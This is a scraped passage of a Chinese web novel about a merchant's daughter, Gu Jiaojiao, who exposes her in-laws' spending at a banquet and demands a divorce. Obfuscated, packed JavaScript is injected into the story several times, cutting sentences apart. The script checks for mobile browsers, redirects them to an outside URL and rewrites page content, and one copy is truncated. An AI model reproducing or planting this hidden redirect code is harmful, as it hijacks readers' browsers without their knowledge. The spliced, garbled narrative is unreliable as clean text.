早知今日安阳侯府的赏花宴是这般,她们怎么也不会巴巴跑来趟这趟浑水! 孙协兆接收到了不少埋怨的目光,见事情不对,他忙从沈云祉身旁踱步至顾皎皎身旁。 他一把握住她纤细的手腕,附在她耳畔恶狠狠道:“顾皎皎,你最好注意些,不该说的话莫要再说,否则别怪我翻脸无情!” “呵,翻脸,你怎有脸说这话?你且告诉我你拿什么与我翻脸?”顾皎皎用力将孙协兆推开,眸中满是讥讽。 就凭他?除了安阳侯府三爷的身份外,他还有什么拿得出手的? 孙协兆一个酿跄差点摔倒,他深觉自尊受了伤害,一张还算俊俏的面庞变得黑沉沉的,眼中满是阴鸷。 他再次抓住顾皎皎的手,大掌不断加重力道,声音恐怖至极:“你再说一次?” 顾皎皎皱眉:“再说十次我也是一样的话!” 手上传来的尖锐疼痛感令她眼眶微微湿润了些许,为了不在孙协兆面前示弱,她抬头将泪水憋了回去。 沈云祉站在人群后方不显眼处,一双深邃的眸子直直看向顾皎皎,细看下,他的眉间似乎带着些许沟壑。 她这是哭了?她哭可是在向孙协兆示弱?那她之前一副巴不得快些与他和离的模样,都是装的? 沈云祉自己都未察觉到,他心底竟泛起一丝若有若无的失望之意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莺儿的话实在逾举,可大家的注意力都被孙协兆吸引了,又哪里会注意一个丫鬟说了什么? 趁着这个时机,莺儿与顾皎皎对视一眼,忙溜回皎月阁拿账簿。 孙协兆眼睁睁看着莺儿的背影成为重影,然后越来越小……他想站起来,却有心无力,只能不停怒骂:“贱人!贱人!母亲,莫要让她跑了……” 第六十八章 她不知道的事 他的嗓音越来越小,以至于没人听清他说了什么,直到他晕倒过去,人们也只以为他是喝醉了。 顾皎皎冷眼瞧着如死狗一般趴在地上的孙协兆:“这么大个人了,喝起酒来竟也没有节制,白白惹人笑话,来人,还不将三爷拖下去。” “我看谁敢动我儿!” 孙老夫人自然不会依了顾皎皎的做法,她赶忙拦在孙协兆面前。 依着她对协兆了解,他再怎么样也不会心中这般没数,明知府中有客人,还喝得烂醉如泥。 因此,这其中定然是发生了什么她不知道的事儿。 况且,今日若是当真由着顾皎皎将协兆带下去,日后京中人还不知得怎样嘲笑他! 顾皎皎平静发问:“母亲,您这是何意?” 孙老夫人冷笑:“谁给你的权利颐指气使了?我老婆子还没死呢,这安阳侯府自然还没轮到你做主。” “自然,安阳侯府的家还是得母亲您来管。”顾皎皎微微一笑:“我做小辈的,又怎会不识抬举与您争抢?” 许久未见顾皎皎这般乖顺,引得孙老夫人侧目,不过她也并未多想,只当她想通了厉害关系,是以才转头巴结自己。 孙老夫人心中得意:“哼,你知道便好,日后少做些惹我不开心之事,往后,我可保你在安阳侯府不愁吃喝。” “是,母亲说得是。”顾皎皎低眉顺眼,瞧不清眸中情绪 沈云祉眯眼瞧着顾皎皎的一言一行,他总觉得她是在筹谋什么,方才孙协兆在自己身旁,明明滴酒未沾,又哪来喝得酩酊大醉之说? 顾皎皎忽然的乖顺行为也十分诡异…… 一阵急促的脚步声传来,莺儿带着两名小厮抬着一个颇为陈旧的大大的红木箱子放在宴席中心。 孙老夫人见状沉着脸怒斥:“莺儿,谁给你的胆子随意在赏花宴上堆砌杂物?” 莺儿俯身行礼:“回老夫人,这不是杂物。” “不是杂物那是什么?你少来唬我,我给你一柱香时间,给我立马将这个箱子清理干净,莫要脏了贵人们的眼!” 顾皎皎抬眸,唇边挂着似有若无的笑意:“母亲,这确实不是杂物,这是儿媳送给您的大礼。” “莺儿,给在场的诸位夫人也分发一份。” “是,姑娘。” 听到是礼物,孙老夫人混黄的眼珠立马亮了起来,顾皎皎那里可是有不少好东西,自从她将自个儿的嫁妆从库房扯出单独保管后,她可是惦记了她的嫁妆许久。 只是不知这次,顾皎皎会用什么来巴结她? 顾皎皎将孙老夫人的神情尽收眼底,她眸中泛起浓厚的兴味来:“莺儿,还不将大礼给母亲送过去,莫要让她老人家久等了!” 孙老夫人满面笑容接过:“好,皎皎,你是个懂事的……” 她的话音戛然而止,眼中带上不可置信之色:“你怎么会有这个!怎么会!” 顾皎皎皮笑肉不笑:“母亲,既然如今是您掌家,还请您将之前我为咱们府邸垫付的银两都结清一下。” 刘氏与章氏也拿起一本账簿看了起来,当看到最后那笔庞大的数目时,二人差点吓得瘫坐在地。 竟然这么多! 这么多银两,若真被顾皎皎要到了,那安阳侯府岂不是成了个空壳子,那她们那里还有好日子过?不行,她们得阻止! 二人对视了一眼,心中又酝酿起了一肚子坏水。 在场的人,每人手上都得了一份账簿,纵使这些夫人都是出身名门且见多识广,可当看到最后时都会倒吸一口凉气。 也会有不少人质疑,顾家当真这般富裕? 刘氏随意捡起一本账簿,喀嚓几下撕成了碎片,她嘲讽道:“三弟妹,撒谎也得有个限度,你才嫁到安阳侯府几日?竟也能编出这般离谱的银两来。” 章氏帮腔:“就是啊,三弟妹,咱们安阳侯府才几个人,便是用上十年、二十年也用不到你写的这个银两的三分之一,下次杜撰之前,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017283|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请打打草稿,莫要平白惹人笑话才是。” 孙老夫人见章氏与刘氏都这样说,心中也有底了些,她端坐在最上方,嘴角逐渐弯了起来:“皎皎,你虽然短暂掌管了安阳侯府几日,可这个家到底是我这个老婆子掌管居多,别的我都能迁就你,可你这个账簿实在太过份了!” 其余夫人的情绪也被煽动起来:“我就说嘛,顾家能是什么了不起的人家,不过是个商户罢了,哪里能拿出那般价值不菲的嫁妆?” “看来这个三夫人的秉性还有待考量……” 顾皎皎闻言也不恼,一开始她便知晓,以这些人的无耻程度,是不会轻易认账的。 幸好她早有准备! 看了莺儿一眼,莺儿立马从箱子另一侧抱了几本厚厚的账簿出来递到她手中。 顾皎皎温柔一笑,将账簿慢条斯理打开:“母亲与二位嫂嫂是都不相信自个儿的消费能力是吧?没关系,那我便一条一条读给诸位听。” “天启十六年三月六日,二嫂刘氏库房领取血燕一斤、鱼胶一斤,大嫂章氏库房领取肥鸭五十只,熊掌五十只,母亲库房领取海参、鱼翅、鲍鱼各一斤……” “天启十六年三月七日……” “天启十六年三月八日……” 顾皎皎字正腔圆,将天启十六年三月、四月、五月,各人从库房领取的物件都一一说出。 孙老夫人、章氏、刘氏三人听得面红耳赤,她们想出口辩驳,却每次都被一位夫人眼神警告示意闭嘴。 杜玉荣听得瞠目结舌,他摇头:“我本以为这位三夫人的账簿太过浮夸,可如今看来非也,安阳侯府太过奢侈,从三夫人方才所说的只言片语中,仅仅大房二房女眷与安阳侯府老夫人的一月花销便抵旁的府邸数年。” 沈云祉:“是了,血燕、熊掌、海参、鱼翅、鲍鱼,哪样不是稀有珍贵的食材,怕是宫中娘娘也不会奢侈到一日食用一斤血燕吧?” 二人的声音不大,在场众人却正好能听到。 第六十九章 他信我也信 原本那些夫人们碍于小云南王在场,许多话都不敢说,如今小云南王率先开了口,便就都没了顾虑,纷纷低头交谈起来。 夫人们的目光肆无忌惮落在孙老夫人与刘氏、章氏身上,从前她们对着旁人都是诉苦,说自己如何不易,这与顾皎皎今日所说,可真是南辕北辙。 虽然双方的话都不一定十分可信,可顾皎皎说的,是白纸黑字记录的,总比她们空口白牙说的更加有说服力。 这下子,所有人都看清了她们三人的真面目,但出于涵养,倒是没有人当众给她们难堪。 顾皎皎见状遗憾摇头,片刻后她正色道:“母亲,既然话已经说到了这个份儿上,还请您将儿媳这两年用在府中的银两还来,从前您与两位嫂嫂从我这儿顺走的嫁妆,我都可以不计较,只是我个人贴补侯府的部分,您总不能昧着良心都吃了吧?” 孙老夫人气得很,她瞪了顾皎皎一眼:“什么叫昧着良心吃了?谁知道你所谓的账簿究竟是真是假?真是笑话,我安阳侯府好歹是侯爵,怎会落魄到依仗你一个商女?” “如今趁着事情还未闹大,你最好给诸位夫人解释清楚,方才的账簿一事都是你胡编乱造的!” 杜玉荣看着,啧啧了两声:“小王爷,依你看她们二人之言,谁更可信?” 沈云祉折扇轻晃,面上笑容似有若无:“自然是谁的证据多,谁便更可信。” 杜玉荣深以为然:“我与小王爷所见略同。” 见顾皎皎没有说话,孙老夫人心中得意,这贱蹄子再牙尖嘴利又如何,还不是被她三言两语给堵住? 她正想说什么,却被人出声打断了。 一名身材曼妙的红衣女子从人群中走出,她神色骄傲,抬眸看着面前几人不屑道:“从前我还一直纳闷,怎么你们整天吃苦身材还这般丰腴,原来你们的苦竟都是嘴上吃的。” “什么叫苦都是嘴上吃的?还有,你说谁丰腴?”刘氏低头看了看自己的腰身,确实有些丰腴,她顿时恼羞成怒:“你是什么人,你不觉得在别人府内说主人家的不是,太过没有礼貌了吗?!” 红衣女子看了她一眼,眼神冰冷:“你们吃着三夫人的,用着三夫人的,到头来却还要在外诋毁三夫人,难道这就礼貌了?” 刘氏气得跺脚:“你是哪里来的黄毛丫头,竟敢乱说话!你哪只眼睛看到我们吃她的,用她的了?” 孙老夫人拽着刘氏衣袖,怒道:“闭嘴!” 刘氏被凶得瑟缩了一下,母亲为何会吼她?难道这臭丫头的身份不一般? 孙老夫人确实见过面前的红衣女子,在赵首辅的府邸中,若是没有猜错的话,此人应当是首辅的孙女赵蕴苎。 她的母亲乃是平王胞妹,此女身份尊贵,万万不可得罪。 孙老夫人视线在顾皎皎与赵蕴苎身上绕了绕,只是不知她们二人究竟是何关系? “你竟敢骂我黄毛丫头?”赵蕴苎指着自己,双眸愕然:“应该我问你,你们刘家什么身份,你竟然骂我?!” 孙老夫人生怕刘氏与这小祖宗吵起来,她赶忙跑到二人中间劝架:“和气生财,大家莫要因为一点小事儿红了脸才是。” 赵蕴苎:“我怎会与她这样的人红脸,我不过是瞧不惯你们安阳侯府一大家子指着三夫人一人吸血罢了,吸血便罢了,还死不认账,瞧瞧方才那本账簿上写的,你们的日子,比我母亲都更奢侈。” “这等稀罕事,我可要回去同母亲讲讲。” 若真让赵蕴苎同平王胞妹讲了这些,那可怎么得了? 孙老夫人垂下头,面色阴沉,她的视线落在昏迷的孙协兆身上,数秒后,她勾了勾嘴角。 孙老夫人抬头,她重重叹息一声:“这位姑娘,我安阳侯府不是豺狼虎穴,怎会真如我那三儿媳说的这般?” “想来之前皎皎掌家时有些东西并未料理清楚,所以才生了些误会,这样,待协兆醒后,我与三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017284|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房细细查账,若真有三儿媳说的这种情况,该补给她的银两,我定然一分也不会少,这样可行?” 赵蕴苎闻言点头:“这还差不多,我告诉你,你休要搪塞我,否则定然要你好看!” “那是自然,赏花宴后,我定然将此事提上日程。” 赵蕴苎点头,她的视线不由自主转到人群中,当看到某处时,她的眼眸闪闪发光。 顾皎皎也很奇怪这名红衣女子为何帮自己,因此对她颇为关注,顺着红衣女子的视线,她看到了小云南王与杜玉荣的身影。 她愣了愣,难道方才红衣女子所言都是小云南王嘱咐的? 转瞬她又将这个想法抛诸脑后,小云南王与自己萍水相逢,怎会平白无故出手帮自己,况且若真是小云南王嘱咐的,那这红衣女子便断然不会被那老虔婆三言两语就给搪塞了。 重新将视线落在孙老夫人身上,顾皎皎勾了勾唇角,这老虔婆想用孙协兆昏迷一事做文章,将今日之事拖过去,想得美! 若是真的如她所愿了,她就不叫顾皎皎! 赵蕴苎看了眼天色,忽的想起今日出门时母亲要她早些回家,她站起身同孙老夫人道:“老夫人,今日我便先走了,方才你 承诺一事,希望能尽快完成。” 孙老夫人点头:“姑娘放心,一定会的。” 赵蕴苎带着贴身丫鬟满意离开。 二人出了安阳侯府,贴身侍女思荣疑惑道:“姑娘,安阳侯府的三夫人不过一个商女罢了,哪里值得您为她费这些口舌?若是夫人知晓了,指不定又得说您。” 赵蕴苎浅浅一笑:“顾皎皎当然不值得我为她这般,但既然他觉得顾皎皎可信,那我也信她,替她多说两句倒也无妨。” 思荣恍然大悟:“原是如此,若是那人知晓姑娘的心思,定然会十分感动。” “莫要说这些,快些回去了。”赵蕴苎面颊酡红,眸中的骄傲之色微微淡了些许。 第七十章 清算 见在场其余人没有别的反应,孙老夫人心中松了口气,她与顾皎皎的账,等赏花宴过后再慢慢清算。 她端坐在上方居高临下看着顾皎皎:“皎皎,今日你的胡言乱语我与你两位嫂嫂便不同你一般见识,你今日也莫要用膳了,且回你的皎月阁吧,别再让诸位夫人看你的笑话了。” “至于你方才编造的账簿,等赏花宴后我定然会同你对账,若当真有欠你的银钱,自然也会悉数归还于你。” “母亲,不能实现的话,还是莫要这般轻易说出口才是。”顾皎皎冷淡的眸子直直看向孙老夫人。 “怎么可能不实现?我堂堂侯府老夫人,未必还能哄骗不成?你这个分不清轻重缓急的,就非要将安阳侯府变成全京城的笑话,你才甘心吗?!” 孙老夫人气得面颊通红,她手中拐杖重重杵在地上,发出沉闷的声响。 “况且如今协兆也还昏睡不醒,你怎的就如此等不了?等协兆醒了共同解决此事不行吗?” “真是个商女,上不得台面,协兆娶了你倒了八辈子血霉!也不知你的父母是如何教养你的!” 第二句话孙老夫人是拉着顾皎皎的手说的,她的声音压得极低,只有二人能够听得清楚。 说完,她又颤着声儿道:“皎皎,算母亲求你,今日莫要再无理取闹了好吗?咳咳咳!” 见老夫人被气得咳嗽,围观的夫人们又纷纷说起顾皎皎的不是来:“三夫人,这就是你的不是了,人得有感恩之心,安阳侯府不介意你的身份,将你迎进府中做正经大夫人,你不可这般恩将仇报。” “恩将仇报?”顾皎皎蓦然笑了,原本清冷的眸子中布满了血丝,她掷地有声道:“究竟是谁恩将仇报?我的身份是高攀了安阳侯府,可这个身份是我的父亲用顾家全部家产换来的!并非安阳侯府仁慈!” “安阳侯府看似风光,内里早就千疮百孔,若不是娶了我这个商女,两年前这侯府便得被要债的砸了!” 顾皎皎的话一句一句砸下来,听得众人目瞪口呆。 孙老夫人见状急了,她大声威胁道:“顾皎皎,你莫要在胡说八道,若是协兆醒来知晓你这般污蔑侯府,定然一纸休书休了你!” 顾皎皎心中火气升腾,她听着竟气笑了:“呵呵,污蔑,呵呵,休了我?” “我嫁到侯府两年,哪一日不是兢兢业业料理家务,伺候公婆,这府中不论大小事务都是我在操持,就我这样的,你们却还不满意……” 她抬眸:“你们当然想休了我,不过不是现在,你们安阳侯府一个比一个贪,一个比一个恶心,整日便是想着如何将我的嫁妆据为己有,将我扫地出门,然后另娶新妇!” 顾皎皎的声音仍旧平静,却莫名的让人听出绝望窒息的感觉。 杜玉荣楞楞看着她,眸中神色晦暗不明。 孙老夫人听到新妇二字时,心中咯噔了一下,顾皎皎如今已然狗急跳墙,若是她将协兆与徐青青一事说出,恐会坏了大事! 她正想出口打断,顾皎皎却先她一步开了口,她看出了这老虔婆的意图,又怎会如她愿? “整日你们在外人面前污蔑我、诋毁我,我都未曾放在心上,只当是我自己哪里没有做好,直到那日我亲眼瞧见了协兆与那人,我才知晓,这哪里是我的问题?” 顾皎皎视线看向远方,好似当真是在回忆,眸子里那抹忧伤之色使人十分触动。 “后来我才后知后觉明白,你们污蔑我、诋毁我、不过是想另攀高枝罢了,若是有了高枝,你们便放了我,我倒是高看你们,可你们偏偏要两头抓,既舍不得平王府新认回来郡主的身份,也舍不得我这个糟糠之妻的钱财!实在无耻至极!” 顾皎皎的话音刚落,立马掀起惊涛骇浪,宴席上所有人都吃惊不已。 “平日里,这安阳侯府的老夫人可是标榜的最是宠爱儿媳,没想到竟都是装的!” “可不是吗?以前我还真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017285|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被孙老夫人迷惑了,真以为这安阳侯府的三夫人是个什么洪水猛兽,没想到竟是个被她们谋财欺负的可怜人呐!” “真是知人知面不知心,安阳侯府还好意思休了三夫人,就他们如今这口碑,怕是京中也没有哪家小姐愿意嫁过来了。” “可不是吗,这样一副烂摊子,哪个愿意让女儿过来吃苦?” “看来以后得少和安阳侯府的人打交道了,否则还会被他们累及名声,不过平王爷是何时认了一个郡主?怎的一点风声也未曾听到,况且平王妃我前些日子才见了,也不像是生产过得样子啊?” “你傻啊,能与安阳侯府三爷结亲的年龄,哪里可能是王妃亲生的?” 议论声此起彼伏,众人看向孙老夫人的神色越发鄙夷。 孙老夫人气得面色发黑,偏偏一个字也不敢说,若是单单提及安阳侯府与顾皎皎,那她自然什么话都能说。 但顾皎皎提到了徐青青,提到了平王,若是自己说了什么不恰当的话,怕是小命不保! 顾皎皎对当前的效果十分满意,她看了莺儿一眼,莺儿立马快步离开宴席。 没一会儿她便与秋容一人端着一盆水站在宴席中央。 秋容看了看老夫人,又看了看倒在地上的孙协兆,面色苍白。 顾皎皎:“母亲,既然你说孙协兆未醒许多事情不好清算,那我如今便将他唤醒,我们今日便在诸位夫人的见证下,清算清楚!” “别!”孙老夫人欲阻止,可是迟了,莺儿一盆水朝着孙协兆泼去,原本的俊俏儿郎立马成了落水山鸡。 秋容端着水久久未曾下手,顾皎皎挑眉:“怎么,不敢?” 秋容瑟缩得厉害:“是,姑娘……如今莺儿已经泼了,奴婢就不泼了吧……” “那不行,他还没醒。”顾皎皎神情冷淡:“今日你若是不泼,那便即刻离开皎月阁。” 秋容无法,只能闭上眼咬牙将水泼向孙协兆。 第七十一章 谁给你的胆子 哗啦啦,一盆水再次淋到孙协兆身上,原本湿润了一半的衣衫瞬间全部湿透。 “啊!谁敢泼我!” 孙协兆猛然惊醒,他直接站起身暴跳如雷。 秋容张大了嘴,手中木盆砰的一声落在地上:“姑……姑爷,不是我……” 她心中有些抓狂,为何莺儿泼姑爷,姑爷没醒,她泼过去姑爷就醒了!这下子她该如何解释?! 顾皎皎一眼便瞧出了莺儿的想法,她心中冷笑,这蠢货怕是到死想不出,她端的那盆水中放了解药,所以才会莺儿泼不醒,她一泼便醒。 “不是你是谁?我都瞧见了你手中的水盆了!”孙协兆心中火气极大,他一把握住秋容的手腕,眸中带着狠厉,大有一种要将其手腕捏碎的气势:“谁给你的胆子这般做的?你可是活腻了?” “啊!”秋容惊叫,心中又急又怕,现下她也顾不得什么形象,痛哭流涕:“姑爷,您弄疼我了!您误会了,不是奴婢要这般做,而是姑娘让奴婢泼的……” “奴婢不过一个下人,哪里能违背姑娘的话……” 闻言,孙协兆猛的松开秋容的手,秋容一时不查,一个酿跄重重摔在地上。 孙协兆看也未看她一眼,直接抬脚从她身上跨过,细看之下,他狠厉的眸中竟爬上丝丝缕缕的杀意。 “顾皎皎,竟又是你,谁给你的胆子这般做?” “是我。”顾皎皎丝毫不犯怵,她抬眸与孙协兆对视:“若是不将你泼醒,还任由你吃醉酒在众位宾客面前丢人现眼不成?” “胡说八道,我何时吃醉了酒?”孙协兆一想起昏迷之前的事,便恨得牙痒痒,分明是这贱妇使绊子给他下了药,否则他何至于在小王爷面前失态?! 顾皎皎冷笑:“你的意思是我冤枉你了?我冤枉你,难道在场的诸位夫人、母亲、大嫂二嫂乃至小王爷与各位大人也会冤枉你?你当谁人都同你一般眼瞎心盲吗?” “况且将你泼醒也是母亲的意思,你是不是也要虎着脸质问母亲,究竟是谁人给了她胆子?” “你!”孙协兆噎住,一句话也答不上来。 是了,下药一事只这贱妇心知肚明,旁人怎会知晓,他们瞧见的也只是他忽然睡死过去罢了,任谁都会觉得是他分不清场合吃醉了酒。 他瞪了孙老夫人一眼,有些埋怨,后者则是心虚的将视线转来。 她也不过是想以协兆为借口将账簿一事搪塞过去罢了,又哪里晓得顾皎皎会忽然来这一招? 孙老夫人垂眸思索片刻,正欲说几句话,尝试是否能够力缆狂澜。 顾皎皎第一时间察觉到了她的意图,立马道:“罢了,既然脸已经丢了,多说也无异,还是将正事先处理了吧。” 她将账簿递到孙协兆面前:“母亲说了,待你醒了便将从前的账簿清算一下,若是有差我的银两,便都悉数还于我。” “什么?尽数归还?”孙协兆闻言差点没当场晕过去,心中对孙老夫人越发不满,他神色不虞道:“母亲,你怎可未与我商量便将这般大的事情轻易许诺她?” 这两年顾皎皎花在安阳侯府的银子,可不是小数目,若真要说尽数归还,怕是将安阳侯府给卖了,也还不起! 见孙协兆久久未伸手来接,顾皎皎径直将账簿塞到他怀中:“若是你们在不快些,我只有报官请旁人来查验这账簿是否有问题了。” 这下子,孙协兆与孙老夫人都被架在了火上烤。 人多嘴杂,若是他们现在食言,安阳侯府的名声不保,可若是当真让顾皎皎报官,请了府衙的人来查,安阳侯府的名声还是不保! 伸头一刀,缩头也是一刀,那不如赌一把。 孙协兆将怀中账簿抱紧,咬牙道:“我知晓了,安阳侯府自是不会食言而肥,你且等我片刻,我去书房查验清楚后再一一告知与你。” 他这是肚中又憋了坏水,想在账簿上动手脚?呵呵,这两母子都是一脉相承的坏啊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如今,你豢养外室在先,我也并无错处,因此你我二人只能和离,我也只接受和离!” 孙老夫人不悦道:“你两年无所出便是错处!况且协兆何时豢养外室了?你休要胡说。” 顾皎皎似笑非笑:“母亲,当真要我把话当着众夫人的面说得那么清楚?” 她冲着孙老夫人比了比口型,孙老夫人冷着脸闭了嘴。 第七十二章 斩断这段孽缘 孙老夫人心中心中无比愤怒,这贱蹄子设计让徐青青与协兆被捉奸在床,那笔帐尚且未与她清算,如今她竟还舔着个脸用那事来威胁! 今日这场赏花宴本是用来收拾顾皎皎的,没料到竟反被她拿捏,当真是胆子见长了,从前她可从来不敢这般! 孙协兆自然也将顾皎皎的动作看在眼中,他几乎咬碎了牙齿,却偏偏一个字也不敢说, 他垂下头,思绪纷飞,和离,若是当真便这般轻易与她和离了,那她的嫁妆,安阳侯府便一个子儿也得不到,当初娶她便是为了银钱,如今白白跎蹉了两载光阴,到头来却什么也得不到,让他如何甘心? 见他二人久久未曾说话,顾皎皎耐心告罄。 未免拖着生了变故,她开门见山道:“快些查验账簿吧,把欠我的银两都归还,两不相欠后再以一纸和离书斩断这段孽缘。” 刘氏与章氏没想到事情会发展成这样,今日她们谋划的一些事情,也不过是想简单破坏顾皎皎的名声罢了,怎会扯到和离与休弃一事上? 母亲与三弟的想法,她们大概也是知道一些的,若是今日因着她们二人的缘故,导致母亲与三弟的算计落空,日后她们可如何在安阳侯府立足? 越想越心慌,刘氏一改往日,柔声细语劝道:“三弟妹,夫妻二人哪有不拌嘴的,不过向来都是床头吵架床尾和,要查账簿查就是了,到时候若是我们大房和二房当真有欠你的银两,也应当全部归还与你。” 章氏也搭腔:“是啊三弟妹,莫要说什么和离不和离的话了,怪伤感情的。” 顾皎皎看了她们二人一眼,意味不明道:“大嫂与二嫂倒是向来和谐,凡事都意见十分统一。” 刘氏笑容僵住,章氏只当没听到她话中的言外之意,笑盈盈道:“大家都是一家人,自然应当和谐一些,毕竟家和万事兴嘛。” 孙老夫人情绪也调整了过来,她笑了两声:“你大嫂二嫂这次可算懂事了些,对,就是家和万事兴,方才协兆也有错,不该说什么休不休的,我替他向你道歉,好不好,皎皎?” “日后就莫要说和离的话了,咱们安阳侯府一家子,都得和和美美的,毕竟还是原配夫妻最好。” 顾皎皎眸中带着笑意,她看好戏般看着这几人自导自演。 片刻后,待好戏看足,她才漫不经心道:“母亲,若是方才你那番话被青青听到,想来他定是会伤心的吧?” “……”孙老夫人噎住,这话哪里敢让徐青青听到?她身份尊贵,是平王府郡主,若是日后平王有机会问鼎巅峰,那青青便是公主,公主什么样的男子找不到,协兆配她已是高攀…… 孙协兆赶忙转移话题,他将账簿递还:“皎皎,方才确实我没控制住情绪,我向你道歉,这样,我们一人让一步,之前的账簿便算了吧,从今日起,我们将账簿记得更清楚些可好?” “将账簿记录清楚自然是好。” 孙老夫人与孙协兆闻言松了口气,就在他们以为顾皎皎妥协了的时候,她忽然话锋一转道:“这样待你那继室进门,也可轻松一些。” 顾皎皎声音清冷:“我们是要和离的,所以以后安阳侯府的账簿如何都与我无关,今日你们还是快些将帐清算了吧,莫要浪费彼此的时间。” 孙家几人闻言又是一阵沉默。 顾皎皎见状心中颇觉无语,这一个二个的真是腻歪,她忽的感觉身后来一道热烈的视线,回眸看去,正好与杜玉荣闪闪发亮的眼撞到一处。 顾皎皎回以礼貌一笑,而后快速移开视线。 直到佳人面容消失,杜玉荣才楞楞回过神来,他后知后觉按住扑通扑通不断跳跃的心脏,这是他二十多年来头一次遇到这种情况。 沈云祉察觉到他的异常,侧头询问:“玉荣,你可是心口不适?” 杜玉荣摇头:“没什么大碍,应当是昨夜夜读之时未曾注意到时辰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017287|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是以要睡,所以今日精神欠佳。” 沈云祉闻言这才放下心,他将折扇打开,津津有味道:“看来今日这三夫人没那麽容易达成所愿了,孙家不会轻易放她离开。” 杜玉荣的目光落在顾皎皎的三千青丝上,心悸的感觉越发浓郁,他甩了甩头,将杂乱思绪甩出脑海:“三夫人这般性格鲜明而独特的女子,不应被强行留在安阳侯府磋磨。” 沈云祉来了兴致:“你要帮她?” 杜玉荣摇头:“谈不上帮,不过是说几句公道话罢了。” 语毕,他从人群中走出,与顾皎皎并肩而立。 见最近炙手可热的状元郎来了自己面前,孙协兆面容变得有些谄媚:“杜大人,今日之事让你见笑了,你放心,我定会尽快处理妥当,不让您久等!” 杜玉荣点头:“确实应当尽快解决。” 他将账簿拿在手中认真瞧了起来,孙老夫人与孙协兆见状也不敢阻拦,只能任由其打量。 一时间,整个宴席只剩下纸张翻阅的沙沙声。 片刻后,杜玉荣将账簿啪的一声合上,他笑涔涔将账簿归还至孙协兆手中:“账簿我瞧过了,没有任何问题,说出口的话便是泼出的水,所谓覆水难收,所以孙大人,我觉得你还是 应当将方才的承诺兑现。” “况且如今,顾夫人一心求和离,若是你这般拦着,拦来拦去难免拦成仇,同时亦会同时伤了两个女子的心……” 孙协兆听着这话心中是十分不喜的,可他偏偏不敢说一个不字,抛开杜玉荣如今的身份,他身后的家族势力也使他对他说的话,不敢质疑分毫。 见他眸中还有犹豫之色,杜玉荣笑了笑:“孙大人,女子的青春十分珍贵,你与顾夫人拖得,那位青青姑娘却不一定拖得,凡事可得斟酌考虑清楚啊……” 说完,杜玉荣转身隐入人群之中,只留面色复杂的孙协兆站在原地思考,面色忽青忽白。 第七十三章 痴人说梦 如今徐青青虽然尚未成为郡主,可只要平王想,上一秒她是平民,下一秒她便能是高高在上的郡主,是平王府唯一的郡主。 成为郡主的徐青青身价翻了数倍,便不再是从前那个可以随意拿捏的女子了,届时,她还会愿意嫁到逐渐式微的安阳侯府吗? 要银钱还是要权力,这个问题在孙协兆心中犹疑不定,久久下不了决心。 再次将账簿打开,看着上边一笔一笔的银两,他顿觉头疼,如今还有一个最大的问题,欠顾皎皎的这一大笔银两该如何给她? 今日来参加赏花宴的大多是京中有些声望的人家,甚至小云南王与杜玉荣也在,若是当着他们的面食言而肥,那安阳侯府日后还要不要在京中立足了? 可若是打肿脸充胖子,将银两给顾皎皎,也是不可能的,因着府中没有这么多银两…… 顾皎皎一直不动声色打量孙协兆,见他眸中情绪变换,她便已大概猜出他为何迟迟不愿松口和离。 她清了清嗓子,淡声道:“你我本为怨偶,继续强行栓到一处也是相看两相厌,这样吧,今日我不要求你们将银两一次性结清,我们可立下字据,欠我的这些银两三年内结清,如何?” 孙协兆还没发话,孙老夫人眼眸亮了亮,她赶忙应下:“行,三年就三年,总之到时一定将银两清算于你!” 